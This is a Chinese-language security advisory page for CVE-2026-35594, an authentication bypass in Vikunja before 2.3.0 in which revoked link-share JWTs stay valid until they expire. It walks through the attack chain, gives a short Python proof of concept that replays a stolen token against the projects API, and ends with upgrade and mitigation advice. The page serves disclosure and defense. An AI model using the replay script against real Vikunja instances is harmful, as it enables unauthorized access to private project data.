IPBUF安全漏洞报告
English
CVE-2026-35594 CVSS 6.5 中危

CVE-2026-35594: Vikunja 链接共享认证绕过漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-35594
漏洞类型
认证绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Vikunja

相关标签

VikunjaCVE-2026-35594认证绕过JWT权限维持访问控制失效

漏洞概述

Vikunja是一款开源任务管理平台。在2.3.0版本之前,其链接共享认证机制存在缺陷。系统在验证JWT令牌时,仅依赖令牌内的声明,未在服务端数据库中校验链接共享当前的有效状态。这意味着,即使管理员删除了共享链接或降低了权限,攻击者仍可利用之前获取的JWT令牌,在默认72小时内继续以原有权限访问项目数据,导致未授权访问风险。

技术细节

该漏洞源于`pkg/models/link_sharing.go`文件中的`GetLinkShareFromClaims`函数设计缺陷。该函数直接解析JWT Claims中的信息来构建用户授权对象,完全绕过了对后端数据库的查询。正常的安全逻辑应包括:验证JWT签名完整性、检查令牌是否过期,以及最关键的——在数据库中查询该共享链接ID是否仍然存在及其当前的权限级别。由于缺少数据库校验步骤,一旦JWT被签发,在其TTL(生存时间)内,无论服务端状态如何改变(如链接被删除),该令牌均被视为有效凭证。这属于典型的访问控制失效(CWE-284),允许攻击者维持非法访问权限。

攻击链分析

STEP 1
1. 获取合法令牌
攻击者获取项目所有者生成的有效链接共享,并交互获取JWT令牌。
STEP 2
2. 状态变更
项目所有者在系统中删除了该链接共享或修改了权限。
STEP 3
3. 重放攻击
攻击者使用之前获取的(现已失效的)JWT令牌向API发送请求。
STEP 4
4. 绕过验证
Vikunja服务器验证JWT签名有效,但未检查数据库中链接共享的状态。
STEP 5
5. 权限维持
攻击者成功访问受保护的数据,直到令牌TTL过期。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # Target URL (Vikunja instance) target_url = "https://<vikunja-domain>/api/v1/projects" # Stolen JWT token obtained before the share was revoked # Extract this from the browser's LocalStorage or Cookies after authenticating via a link share stolen_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTIzLCJ0eXBlIjoic2hhcmUiLCJwcm9qZWN0X2lkIjoxfQ.fake-signature" headers = { "Authorization": f"Bearer {stolen_token}", "Content-Type": "application/json" } def main(): print(f"[*] Attempting to access {target_url} using revoked token...") try: response = requests.get(target_url, headers=headers, timeout=10) if response.status_code == 200: print("[+] Vulnerability Exploited Successfully!") print("[+] Server accepted the request despite the link share being deleted/revoked.") print(f"[+] Response Data: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": main()

影响范围

Vikunja < 2.3.0

防御指南

临时缓解措施
建议立即将Vikunja升级到2.3.0或更高版本以修复此漏洞。如果无法立即升级,请将配置文件中的JWT TTL(service.jwtttl)设置为一个极短的值(如几分钟),以减少潜在的利用窗口期。同时,建议管理员检查系统日志,查找是否存在异常的API访问记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表